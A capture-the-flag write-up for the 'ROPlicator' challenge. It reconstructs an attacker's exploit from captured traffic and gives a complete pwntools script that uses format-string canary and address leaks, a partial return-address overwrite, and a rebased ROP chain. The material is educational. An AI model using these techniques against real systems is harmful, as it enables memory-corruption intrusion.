ECSC Estonia Prequalifier - ROPlicator

We are given a pcap file containing traffic of attacker. Opening it with wireshark reveals some output of the binary inside the data field, so we can just dump all the data fields using tshark into a file called `data.txt`.

The data we receive is a hexstring, but when viewed in wireshark it was clear that some of the data was in plaintext and some were raw bytes. To better work with it I created this small script to print all readable text as text and leave the rest as base64 encoded blobs.

```python
from base64 import b64encode

with open('parseddata.txt', 'w') as fw:
    with open('data.txt', 'r') as fr: # fr fr
        for line in fr:
            stripped = line.strip()
            if len(stripped) == 0:
                continue  # Ignore empty lines

            line_bytes = bytes.fromhex(stripped)

            if line_bytes.isascii():
                fw.write(line_bytes.decode())
            else:
                fw.write(b64encode(line_bytes).decode())
            fw.write('\n')
```

Looking at the parsed data it seems we can pretty much get an idea of what the attacker was doing:

```
Do you have something interesting to tell me?



42 (forty-two) is the natural number that follows 41 and precedes 43.


Very interesting!


I'd like to hear more from you. Do you have a small topic in mind?


%21$p


```

```
I'm excited to hear about
0x267788755eb06000



AAAAAAAAAAAAAAAAAAA...
Oh wow, I didn't' know that!

Bye bye
Do you have something interesting to tell me?

42 (forty-two) is the natural number that follows 41 and precedes 43.
Very interesting!

I'd like to hear more from you. Do you have a small topic in mind?

%23$p
I'm excited to hear about
0x5649f4d6055c



AAAAAAAAAAAAAAAAA...
Oh wow, I didn't' know that!

Bye bye
Do you have something interesting to tell me?

AAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Bye bye

DDC{_fake_flag_fake_flag_fake_flag_fake_flag_fake_flag_fake_flag_}
```

Let's open up the binary in binary ninja to get a better idea of what the binary is doing. Inside the `main` function there is a call to `setup` and `conversation`. Let's look at `conversation`, since setup just sets up the stdin buffer.

```
0002a406  int64_t conversation()

0002a412      void* fsbase
0002a412      int64_t rax = *(fsbase + 0x28)
0002a42b      puts(str: "Do you have something interestin…")
0002a441      void buf
0002a441      read(fd: 0, &buf, nbytes: _init)
0002a457      compute_hash(&buf, &buf_hash)
0002a457
0002a47c      if (memcmp(&buf_hash, &secret_hash, 0x20) == 0)
0002a48c          puts(str: "Very interesting!")
0002a49b          puts(str: "I'd like to hear more from you. …")
0002a4b5          void var_48
0002a4b5          read(fd: 0, buf: &var_48, nbytes: 6)
0002a4c9          printf(format: "I'm excited to hear about ")
0002a4de          printf(format: &var_48)
0002a4e8          putchar(c: 0xa)
0002a502          void buf_1
0002a502          read(fd: 0, buf: &buf_1, nbytes: 0x41)
0002a511          puts(str: "Oh wow, I didn't' know that!")
0002a511
0002a520      puts(str: "Bye bye")
0002a52e      *(fsbase + 0x28)
0002a52e
0002a537      if (rax == *(fsbase + 0x28))
0002a53f          return 0
0002a53f
0002a539      __stack_chk_fail()
0002a539      noreturn
```

(Variables have been given names by me, originally did not have same names)
It looks like the binary calculates a hash based on the user input and then checks if it matches the one that is hardcoded into the binary.

If we look back at the conversation, it seems that the attacker used the text `42 (forty-two) is the natural number that follows 41 and precedes 43.` to get past this and indeed, if we try it out ourselves we pass the hash check.

After that the binary asks for a small topic to talk about, to which the attacker sends the payload `%21$p` to which the binary spits out a value. If we open up the binary in gdb, and run the same payload, we see that what it actually spits out is the canary token (we can check this by comparing the output of the payload to what is written at `rbp-0x8` (this is where the canary gets written to)).

After that the attacker sends another payload, this time it is base64 encoded which means they were raw bytes, but if we base64 decode it and compare the bytes, we see that the canary token is inside of the payload. This means that the attacker probably overflowed the stack, which also seems to be the case since the binary did not terminate and instead went to the beginning:

```
❯ echo
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCwXnWId
yYAAAAAAAAAAFc=' | base64 -d | xxd

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0060 b05e 7588 7726 0000 0000 0000 0000  .`.^u.w&........
00000040: 57
```

The `0060 b05e 7588 7726` is the little-endian representation of the value `0x267788755eb06000` that the attacker leaked earlier. What's interesting is that while all the other bytes are zeroes, the last byte is `0x57`, which is probably how the attacker managed to make the binary start over again. If we look inside the `main` function, we see that the call to the `conversation` function is a memory address ending in `0x57`:

```
0002a540  int32_t main(int32_t argc, char** argv, char** envp)

0002a54d      setup()
0002a557      conversation()
0002a55d      return 0
```

Since the machine is of little-endian architecture, what is most likely going on is that this `0x57` byte overflowed the least significant byte of the return address on the stack, causing the execution to jump back to the main function.

Now that we understand how it works, all we have to do is ROPlicate it *~~badum tss~~*:

First create a pwntools template with `pwn template roplicator > exploit.py` and let's write the code to leak the canary and return execution flow to the main function:

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template roplicator
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'roplicator')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable
ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
```

```python
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No

hash_val = b'42 (forty-two) is the natural number that follows 41 and
precedes 43.'
leak_canary_payload = b'%21$p'

canary_offset = 48
other_payload_offset = canary_offset + 16

io = start()

# Get canary token
log.info(io.recvline())
log.info(f'Sending reply: {hash_val}')
io.sendline(hash_val)
log.info(io.recvuntil(b'mind?\n'))
log.info(f'Sending payload: {leak_canary_payload}')
io.sendline(leak_canary_payload)
log.info(io.recvuntil(b'about '))
canary_token = int(io.recvline().strip().decode(), 16)
log.info(f'Got leaked canary token: 0x{canary_token:0x}')
```

```
canary_go_to_start_payload = fit({canary_offset: p64(canary_token),
other_payload_offset: b'\x57'})
log.info(f'Sending payload: {canary_go_to_start_payload} of length
{len(canary_go_to_start_payload)}')
io.send(canary_go_to_start_payload)
```

I currently calculated the offset of the canary token in the payload by hand but oh well sue me. Anyways what's important is that the payload is the exact same except the canary token is replaced with the one we leaked in our own binary.

After testing that it works and that we "restarted" the binary we can continue on.
If we look at what the attacker does next we see that it is almost the exact same, except now they use `%23$p` as their payload, to leak a memory address that is offset by 16 bytes.
Usually what exists to a canary token with an offset of 16 bytes is the instruction pointer saved to the stack before the call to a function was made. If we open it in gdb we can double-check that the same way we did with the canary token.

Since the memory address that was saved there was the memory address of the instruction after the call to `conversation`, we can know what the offset was to the main function.
Open: Pasted image 20250317213817.png

```
0002a540  int32_t main(int32_t argc, char** argv, char** envp)

0002a540  f30f1efa          endbr64
0002a544  55                push    rbp {__saved_rbp}
0002a545  4889e5            mov     rbp, rsp {__saved_rbp}
0002a548  b800000000        mov     eax, 0x0
0002a54d  e881feffff        call    setup
0002a552  b800000000        mov     eax, 0x0
0002a557  e8aafeffff        call    conversation
0002a55c  5d                pop     rbp {__saved_rbp}
0002a55d  c3                retn     {__return_addr}
```

If we just subtract the memory addresses we get that `0x02a55c - 0x02a540 = 28`, meaning the memory address that got leaked was `main+28`.

After that the attacker yet again sends the same payload to return execution to the main function, so let's implement that now as well.

```
# Get other address
leak_other_addr_payload = b'%23$p'

log.info(io.recvuntil(b'tell me?\n'))
log.info(f'Sending reply: {hash_val}')
io.sendline(hash_val)
log.info(io.recvuntil(b'mind?\n'))
log.info(f'Sending payload: {leak_other_addr_payload}')
io.sendline(leak_other_addr_payload)
```

```
log.info(io.recvuntil(b'about '))
main_plus_28_addr = int(io.recvline().strip().decode(), 16)
log.info(f'Got leaked main_28 address: 0x{main_plus_28_addr:0x}')
log.info(f'Sending payload: {canary_go_to_start_payload} of length
{len(canary_go_to_start_payload)}')
io.send(canary_go_to_start_payload)
```

Now here is where things get interesting. Based on the name of the challenge, the last long binary blob that the attacker sends to the binary must be a ROP chain, however this ROP chain only works with the memory addresses the attacker had so we must modify it so that it would work with our's as well.
If we look at the hexadecimal representation of the payload with xxd we notice something interesting:

```
❯ echo
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAGCwXnWIdyYAAAAAAAAAALFy0/RJVgAAIEDW9ElWAAD79dX0SVYAALFy0/RJV
gAAIEDW9ElWAABObNT0SVYAALFy0/RJVgAAIEDW9ElWAACzENX0SVYAALFy0/RJVgAAIEDW9El
WAACIwdP0SVYAALFy0/RJVgAAIEDW9ElWAABIedP0SVYAALFy0/RJVgAA...' | base64 -d
| xxd

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
...
00000070: 0000 0000 0000 0000 0060 b05e 7588 7726  .........`.^u.w&
00000080: 0000 0000 0000 0000 b172 d3f4 4956 0000  .........r..IV..
00000090: 2040 d6f4 4956 0000 fbf5 d5f4 4956 0000   @..IV......IV..
000000a0: b172 d3f4 4956 0000 2040 d6f4 4956 0000  .r..IV.. @..IV..
000000b0: 4e6c d4f4 4956 0000 b172 d3f4 4956 0000  Nl..IV...r..IV..
000000c0: 2040 d6f4 4956 0000 b310 d5f4 4956 0000   @..IV......IV..
000000d0: b172 d3f4 4956 0000 2040 d6f4 4956 0000  .r..IV.. @..IV..
000000e0: 88c1 d3f4 4956 0000 b172 d3f4 4956 0000  ....IV...r..IV..
000000f0: 2040 d6f4 4956 0000 4879 d3f4 4956 0000   @..IV..Hy..IV..
...
000009d0: b172 d3f4 4956 0000 2040 d6f4 4956 0000  .r..IV.. @..IV..
000009e0: abce d4f4 4956 0000 b903 d6f4 4956 0000  ....IV......IV..
000009f0: b172 d3f4 4956 0000 0300 0000 0000 0000  .r..IV..........
00000a00: 5471 d3f4 4956 0000                      Tq..IV..
```

If we look at the end of the zero bytes we first notice the familiar canary token, after which there is 8 zero bytes and finally a bunch of memory addresses.
These probably point to different ROP gadgets in the binary.
The only non-memory address is the second to last 8 bytes, where the value of 3 is passed.
This probably is an argument to some function to call.

So how do we make it work locally? Well since this is a PIE this means that the memory addresses were calculated relative to the memory address that was leaked earlier. Since we know what the leaked address of the attacker was, we can just subtract them from eachother and obtain the offset to the leaked address. We can then use that same offset on our own leaked memory address to create a ROP chain that works on our machine™.

To implement that I first dumped the raw bytes into a file called `ropchain.bin`:

```
echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA...' | base64 -d > ropchain.bin
```

After that we just need to replace the canary token with our's and replace all the memory addresses with our own that have the same offset relative to the leaked address:

```
with open('ropchain.bin', 'rb') as f:
    all_bytes = f.read()

# Build rop chain that works with current context
new_rop_chain = b''
stack_canary_token_idx = all_bytes.find(p64(0x267788755eb06000))

new_rop_chain += stack_canary_token_idx * b'\x00'
new_rop_chain += p64(canary_token)
new_rop_chain += b'\x00' * 8

cur_idx = stack_canary_token_idx + 16
while cur_idx < len(all_bytes) - 16:
    tmp_addr = unpack(all_bytes[cur_idx: cur_idx + 8], 64,
endianness='little')
    if tmp_addr == 0x267788755eb06000:
        new_rop_chain += p64(canary_token)
    else:
        gap = tmp_addr - 0x5649f4d6055c # this is the memory address the
attacker leaked
        new_rop_chain += p64(main_plus_28_addr + gap)
    cur_idx += 8

new_rop_chain += p64(3)

cur_idx += 8
tmp_addr = unpack(all_bytes[cur_idx: cur_idx + 8], 64,
endianness='little')
gap = tmp_addr - 0x5649f4d6055c
new_rop_chain += p64(main_plus_28_addr + gap)
```

So the full exploit script is:

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
```

```python
# $ pwn template roplicator
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'roplicator')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable
ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
b *conversation+313
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No

hash_val = b'42 (forty-two) is the natural number that follows 41 and
precedes 43.'
leak_canary_payload = b'%21$p'
leak_other_addr_payload = b'%23$p'

canary_offset = 48
other_payload_offset = canary_offset + 16
```

```python
io = start()

# Get canary token
log.info(io.recvline())
log.info(f'Sending reply: {hash_val}')
io.sendline(hash_val)
log.info(io.recvuntil(b'mind?\n'))
log.info(f'Sending payload: {leak_canary_payload}')
io.sendline(leak_canary_payload)
log.info(io.recvuntil(b'about '))
canary_token = int(io.recvline().strip().decode(), 16)
log.info(f'Got leaked canary token: 0x{canary_token:0x}')

canary_go_to_start_payload = fit({canary_offset: p64(canary_token),
other_payload_offset: b'\x57'})
log.info(f'Sending payload: {canary_go_to_start_payload} of length
{len(canary_go_to_start_payload)}')
io.send(canary_go_to_start_payload)

# Get other address
log.info(io.recvuntil(b'tell me?\n'))
log.info(f'Sending reply: {hash_val}')
io.sendline(hash_val)
log.info(io.recvuntil(b'mind?\n'))
log.info(f'Sending payload: {leak_other_addr_payload}')
io.sendline(leak_other_addr_payload)
log.info(io.recvuntil(b'about '))
main_plus_28_addr = int(io.recvline().strip().decode(), 16)
log.info(f'Got leaked main_28 address: 0x{main_plus_28_addr:0x}')
log.info(f'Sending payload: {canary_go_to_start_payload} of length
{len(canary_go_to_start_payload)}')
io.send(canary_go_to_start_payload)

with open('ropchain.bin', 'rb') as f:
    all_bytes = f.read()

# Build rop chain that works with current context
new_rop_chain = b''
stack_canary_token_idx = all_bytes.find(p64(0x267788755eb06000))

new_rop_chain += stack_canary_token_idx * b'\x00'
new_rop_chain += p64(canary_token)
new_rop_chain += b'\x00' * 8

cur_idx = stack_canary_token_idx + 16
while cur_idx < len(all_bytes) - 16:
    tmp_addr = unpack(all_bytes[cur_idx: cur_idx + 8], 64,
endianness='little')
    if tmp_addr == 0x267788755eb06000:
```

```
        new_rop_chain += p64(canary_token)
    else:
        gap = tmp_addr - 0x5649f4d6055c
        new_rop_chain += p64(main_plus_28_addr + gap)
    cur_idx += 8

new_rop_chain += p64(3)

cur_idx += 8
tmp_addr = unpack(all_bytes[cur_idx: cur_idx + 8], 64,
endianness='little')
gap = tmp_addr - 0x5649f4d6055c
new_rop_chain += p64(main_plus_28_addr + gap)

log.info(io.recvuntil(b'tell me?\n'))
log.info('Sending rop chain. Hope for flag')
io.send(new_rop_chain)
log.info(io.recvall())
```